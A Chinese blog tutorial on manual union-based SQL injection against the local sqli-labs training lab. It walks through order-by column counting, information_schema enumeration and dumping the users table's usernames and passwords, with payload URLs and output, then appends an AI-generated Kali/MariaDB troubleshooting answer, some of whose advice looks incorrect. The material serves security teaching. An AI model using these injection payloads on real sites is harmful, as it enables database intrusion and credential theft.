sql手动注入常用步骤

本文详细介绍如何利用SQL注入漏洞,包括环境搭建、基本步骤、及如何获取数据库信息等内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

提起sql注入,相信大家并不陌生,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,从而达到和服务器进行直接的交互.有可能存在SQL注入的数据库类型可以是Mysql,Mssql,Oracle,Postgress等等

预备知识
对mysql数据库有一定了解;对基本的sql语句有所了解;
对url编码有了解:空格=‘%20’,单引号=‘%27’,双引号=‘%22’,井号=‘%23’等
基本步骤
1. 判断是什么类型注入,有没有过滤关键字,是否能绕过
2. 确定存在注入的表的列数以及表中数据那些字段可以显示出来
3. 获取数据库版本,用户,当前连接的数据库等信息
4. 获取数据库中所有表的信息
5. 获取某个表的列字段信息
5. 获取相应表的数据
环境搭建
  • window
  • phpStudy
  • sqli-labs
  • apache+php+mysq
1. 首先从sqli-labs的github中下载环境
git clone https://github.com/Audi-1/sqli-labs.git
2. 将sqli-labs解压出来并将整个文件夹放到phpStudy中的WWW目录下
3. 连接数据库
修改sqli-labs下sql-connections文件夹中的db-creds.inc
将里面的数据库信息修改为自己的
4. 浏览器中输入网址http://localhost/sqli-labs,点击页面中的 setup/reset Database for labs,显示以下信息证明安装成功
SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES:

[*]...................Old database 'SECURITY' purged if exists

[*]...................Creating New database 'SECURITY' successfully

[*]...................Creating New Table 'USERS' successfully

[*]...................Creating New Table 'EMAILS' successfully

[*]...................Creating New Table 'UAGENTS' successfully

[*]...................Creating New Table 'REFERERS' successfully

[*]...................Inserted data correctly into table 'USERS'

[*]...................Inserted data correctly into table 'EMAILS'

[*]...................Old database purged if exists

[*]...................Creating New database successfully

[*]...................Creating New Table 'K18ILD27KN' successfully

[*]...................Inserted data correctly into table 'K18ILD27KN'

[*]...................Inserted secret key 'secret_58X0' into table
less1 - 基于错误的GET单引号字符型注入

一般判断是否存在基于错误的盲注和显错注入,可以使用以下方法:

单引号, and 1=1and 1=2 ,双引号,反斜杠,注释等

输入单引号,有报错信息,说明存在注入,没有过滤单引号(单引号被url编码)

http://127.0.0.1/sqli/Less-1/?id=2%27

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2'' LIMIT 0,1' at line 1

此时的注入语句为: SELECT * FROM users WHERE id='2'' LIMIT 0,1 (报单引号不匹配的错)

为了让单引号闭合,可以使用注释符,将多余的单引号注释掉

注释符常用的有两种:
1. -- ' 一定要注意在最后一个单引号前面有空格
2. # 
确定表的列数(总共的字段数)

由于接下来要采用union探测内容,而union的规则是必须要求列数相同才能正常展示,因此必须要探测列数,保证构造的注入查询结果与元查询结果列数与数据类型相同;
‘order by 1’代表按第一列升序排序,若数字代表的列不存在,则会报错,由此可以探测出有多少列。

当试到'4'时,出现报错信息,可以知道该表有3列:
  Unknown column '4' in 'order clause'
执行的sql语句是:SELECT * FROM users WHERE id='2' order by 4 -- '' LIMIT 0,1
确定字段的显示位

显示位:表中数据第几位的字段可以
显示,因为并不是所有的查询结果都
会展示在页面中,因此需要探测页面
中展示的查询结果是哪一列的结果;
‘union select 1,2,3 – ’ 通过显示的数字可以判断那些字段可以显示出来。

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 -- '
可见2,3所在的字段可以显示
ps:id=-1,使用-1是为了使前一个sql语句所选的内容为空,从而便于后面的select语句显示信息
获取当前数据库信息

现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用group_concat()函数(可以把查询出来的多行数据连接起来在一个字段中显示)

database()函数:查看当前数据库名称

version()函数:查看数据库版本信息

user():返回当前数据库连接使用的用户

char():将十进制ASCII码转化成字符,以便于分隔每个字段的内容

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(database(),version()),3 -- '
  Your Login name:security5.5.53
  Your Password:3
可以知道当前数据库名为security,数据库版本为5.5.53
获取全部数据库信息

Mysql有一个系统的数据库information_schema,里面保存着所有数据库的相关信息,使用该表完成注入

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),schema_name,char(32)),3 from information_schema.schemata -- '

获取到了所有的数据库信息 information_schema ,security
获取security数据库中的表信息
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),table_name,char(32)),3 from information_schema.tables where table_schema='security' -- '
  Your Login name: emails , referers , uagents , users 
    Your Password:3
ps:table_schema= '数据库的名'
获取users表的列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),column_name,char(32)),3 from information_schema.columns where table_name='users' -- '
 Your Login name: user_id , first_name , last_name , user , password , avatar , last_login , failed_login , id , username , password
 Your Password:3
执行的sql语句是:SELECT * FROM users WHERE id='-1' union select 1,group_concat(char(32),column_name,char(32)),3 from information_schema.columns where table_name='users' -- '' LIMIT 0,1
获取数据
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32),password),3 from users -- '
 Your Login name: Dumb Dumb, Angelina I-kill-you, Dummy p@ssword, secure crappy, stupid stupidity, superman genious, batman mob!le, admin admin, admin1 admin1, admin2 admin2, admin3 admin3, dhakkan dumbo, admin4 admin4
 Your Password:3
执行的sql语句是:SELECT * FROM users WHERE id='-1' union select 1,group_concat(char(32),username,char(32),password),3 from users -- '' LIMIT 0,1
<think>好的,用户现在在KaliLinux中执行MySQL命令时遇到了问题,同时设置sqli-labs数据库时也遇到了错误。根据用户提供的引用内容,尤其是引用[1]中提到重新安装mariadb解决了数据库连接问题,这可能与用户的当前问题相关。用户之前的对话中已经讨论过类似的错误,比如zsh解析错误和FLUSH命令未找到的问题,现在用户再次遇到类似的问题,并且还涉及sqli-labs的数据库配置。首先,我需要分析用户的具体错误信息:“zsh: unknownsort specifier”和“FLUSH:未找到命令”。这两个错误可能分别由zsh对特殊字符的解析问题以及用户直接在shell中执行MySQL命令导致。用户可能是在终端中直接输入了包含@符号的命令,导致zsh解析错误。例如,命令中的'root'@'localhost'可能被zsh错误地解析,需要引号包裹。另外,FLUSH PRIVILEGES应该在MySQL客户端内部执行,而不是在shell中,所以用户可能没有正确进入MySQL交互模式。 然后,用户提到设置sqli-labs数据库时的错误。根据引用[2][3][5],sqli-labs需要正确的PHP环境和MySQL数据库配置。用户可能在导入数据库时遇到权限问题或路径错误,比如phpstudy的中文路径问题,或者数据库连接配置不正确。需要确保MariaDB服务已启动,并且security数据库正确导入,同时检查sqli-labs的配置文件是否正确指向数据库。接下来,结合之前的回答,用户可能需要重新安装MariaDB,正确使用引号包裹命令中的特殊字符,进入MySQL交互模式执行FLUSH PRIVILEGES,并确保环境变量配置正确。对于sqli-labs的问题,可能需要检查数据库连接配置,导入数据库的步骤是否正确,以及文件权限是否设置妥当。 需要验证用户是否已经正确安装并启动了MariaDB服务,是否成功创建了security数据库,以及是否正确修改了sqli-labs的数据库配置文件(如db-creds.inc中的用户名和密码)。此外,用户可能在使用phpstudy时遇到了路径问题,特别是中文路径可能导致服务无法正常运行,需要确保所有路径都是英文的。 最后,生成相关问题时,要涵盖MariaDB密码重置、Kali使用MariaDB的原因、数据库连接错误、zsh配置以及sqli-labs的常见问题,帮助用户全面解决当前和未来可能遇到的问题。</think>### Kali Linux中解决MySQL命令错误及sqli-labs数据库配置问题的逐步指南 --- #### 一、MySQL命令错误分析 1. **`zsh: unknown sort specifier`** - 原因:命令中的特殊符号`@`被zsh错误解析 - 解决方案:使用引号包裹用户名和主机名 ```bash mysql -u 'root@localhost' -p # 正确格式 ``` 2. **`FLUSH:未找到命令`** - 原因:在shell终端直接执行SQL命令 - 正确流程:进入MySQL交互模式后再执行 ```bash mysql -u root -p > FLUSH PRIVILEGES; # 在MySQL内部执行[^1] ``` --- #### 二、sqli-labs数据库配置问题 **步骤1:启动MariaDB服务** ```bash sudo systemctl start mariadb # 确保服务已运行[^1] ``` **步骤2:导入sqli-labs数据库** 1. 下载数据库文件 ```bash wget https://github.com/Audi-1/sqli-labs/raw/master/sql-lab.sql ``` 2. 导入数据库 ```bash mysql -u root -p < sql-lab.sql # 导入时输入密码 ``` **步骤3:配置数据库连接** 修改`/var/www/html/sqli-labs/sql-connections/db-creds.inc`文件: ```php <?php $dbuser = 'root'; // 用户名 $dbpass = 'your_password'; // 与MySQL密码一致 $dbname = 'security'; // 确保数据库存在 ?> ``` --- #### 三、关键操作验证 1. **检查数据库状态** ```bash sudo mysqladmin -u root -p status # 验证服务运行 ``` 2. **测试sqli-labs连接** ```bash curl http://localhost/sqli-labs/ # 应显示欢迎页面 ``` --- #### 四、常见错误修复 **场景1:数据库连接失败** - 检查`security`数据库是否存在 ```sql SHOW DATABASES; # 确认包含security[^5] ``` **场景2:权限不足** - 赋予用户权限 ```sql GRANT ALL PRIVILEGES ON security.* TO 'root'@'localhost'; ``` **场景3:中文路径问题** - 确保phpstudy路径无中文字符 ```bash mv /路径/含中文/sqli-labs /opt/sqli-labs # 迁移路径[^2] ``` --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

StriveBen

写字不易,给点动力吧

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值